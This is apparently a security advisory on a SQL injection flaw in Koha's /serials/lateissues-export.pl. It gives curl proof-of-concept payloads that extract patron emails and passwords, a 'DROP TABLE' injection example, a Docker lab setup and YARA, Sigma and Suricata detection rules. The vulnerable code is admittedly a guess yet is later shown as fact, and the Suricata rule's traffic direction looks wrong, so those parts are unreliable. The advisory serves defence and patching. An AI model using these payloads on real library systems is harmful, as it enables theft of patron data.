CVE-2025-22954

Executive Summary

CVE-2025-22954 is a critical SQL Injection vulnerability in Koha, an open-source Integrated Library System (ILS). The flaw resides in the GetLateOrMissingIssues subroutine within the C4/Serials.pm module, specifically reachable via the /serials/lateissues-export.pl endpoint. An unauthenticated attacker can inject arbitrary SQL commands through the supplierid or serialid parameters, leading to complete compromise of the database, including exfiltration of patron data, library records, and potential lateral movement within the network. The CVSS score of 10.0 reflects the maximum severity due to network exploitability, no authentication required, and full impact on confidentiality, integrity, and availability.

Supply Chain & Package Security

Koha is distributed as a Perl-based application, often installed via Debian/Ubuntu packages or from source. The vulnerability is not in a third-party library but in the core application code. Organizations using package managers should verify they are on version 24.11.02 or later. No known malicious packages have been reported, but the risk of supply chain compromise exists if repositories are not trusted.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

This vulnerability is trivially exploitable by any remote attacker. The lack of authentication and low complexity makes it a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability exists in the GetLateOrMissingIssues function in C4/Serials.pm. This function is called by the /serials/lateissues-export.pl script to generate a CSV export of late or missing serial issues. The supplierid and serialid parameters are passed directly into SQL queries without proper sanitization or parameterized queries.

The vulnerable code pattern likely resembles:

sub GetLateOrMissingIssues {
    my ($supplierid, $serialid) = @_;
    my $dbh = C4::Context->dbh;
    my $query = "SELECT * FROM serialissues WHERE supplierid = $supplierid AND serialid = $serialid";
    my $sth = $dbh->prepare($query);
    $sth->execute();
    # ...
}

An attacker can inject SQL by providing values like:

• supplierid=1 UNION SELECT ...
• serialid=1; DROP TABLE users; --

This allows reading arbitrary tables, modifying data, or executing administrative commands on the database server.

Vulnerable vs. Patched Code

Vulnerable (pre-24.11.02):

sub GetLateOrMissingIssues {
    my ($supplierid, $serialid) = @_;
    my $dbh = C4::Context->dbh;
    my $query = "SELECT * FROM serialissues WHERE supplierid = $supplierid AND serialid = $serialid";
    my $sth = $dbh->prepare($query);
    $sth->execute();
    # ...
}

Patched (24.11.02+):

sub GetLateOrMissingIssues {
    my ($supplierid, $serialid) = @_;
    my $dbh = C4::Context->dbh;
    my $query = "SELECT * FROM serialissues WHERE supplierid = ? AND serialid = ?";
    my $sth = $dbh->prepare($query);
    $sth->execute($supplierid, $serialid);
    # ...
}

The fix uses placeholders (?) and binds parameters, preventing SQL injection.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

The following curl command demonstrates SQL injection via the supplierid parameter:

curl -X GET "http://target/serials/lateissues-export.pl?supplierid=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10--"

To extract data (e.g., patron emails):

curl -X GET "http://target/serials/lateissues-export.pl?supplierid=1%20UNION%20SELECT%20email,password,3,4,5,6,7,8,9,10%20FROM%20borrowers--"

Lab Setup:

1. Deploy a vulnerable Koha instance (version < 24.11.02) using Docker:

   docker run -d -p 8080:80 --name koha-vuln koha/koha:23.11.00
   

2. Access the instance at http://localhost:8080.
3. Use the PoC above to test injection.

Blue Team

Detection:

• Monitor web server logs for requests to /serials/lateissues-export.pl with unusual parameters (e.g., UNION, SELECT, --).
• Deploy a Web Application Firewall (WAF) rule to block SQL injection patterns in supplierid and serialid.
• Use database activity monitoring to detect anomalous queries from the Koha application user.

Hunting:

• Search for GetLateOrMissingIssues calls in logs.
• Look for database errors indicating SQL syntax issues.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /serials/lateissues-export.pl containing SQL keywords in supplierid or serialid parameters.
• Logs: Database error logs showing failed SQL queries with injected syntax.
• File: Modified or exported CSV files containing unexpected data (e.g., password hashes).
• Process: Unusual database connections or queries from the Koha web server.

Detection Engineering

YARA Rule

rule CVE_2025_22954_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-22954 in Koha"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22954"
    strings:
        $sqli1 = /supplierid=.*(UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/ nocase
        $sqli2 = /serialid=.*(UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/ nocase
        $path = "/serials/lateissues-export.pl"
    condition:
        $path and ($sqli1 or $sqli2)
}

Sigma Rule

title: CVE-2025-22954 Koha SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Koha serials export endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/serials/lateissues-export.pl'
        cs-uri-query|contains:
            - 'supplierid='
            - 'serialid='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'DROP'
        - 'INSERT'
        - 'UPDATE'
        - 'DELETE'
        - '--'
        - '#'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in serial IDs (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-22954 Koha SQL Injection Attempt";
    flow:to_server,established;
    content:"/serials/lateissues-export.pl"; http_uri;
    content:"supplierid="; http_uri; nocase;
    pcre:"/(UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2025-22954;
    priority:1;
)

Remediation & Mitigation

1. Immediate: Upgrade Koha to version 24.11.02 or later.
2. Workaround: If upgrade is not possible, restrict access to /serials/lateissues-export.pl via firewall or web server configuration (e.g., .htaccess).
3. Compensating Controls: Deploy a WAF with rules to block SQL injection patterns. Ensure database user has minimal privileges.
4. Monitoring: Enable detailed logging for the serials endpoint and database queries. Alert on any suspicious activity.
5. Validation: After patching, verify the fix by testing the endpoint with injection payloads.

Valters IT
Securing Digital Infrastructure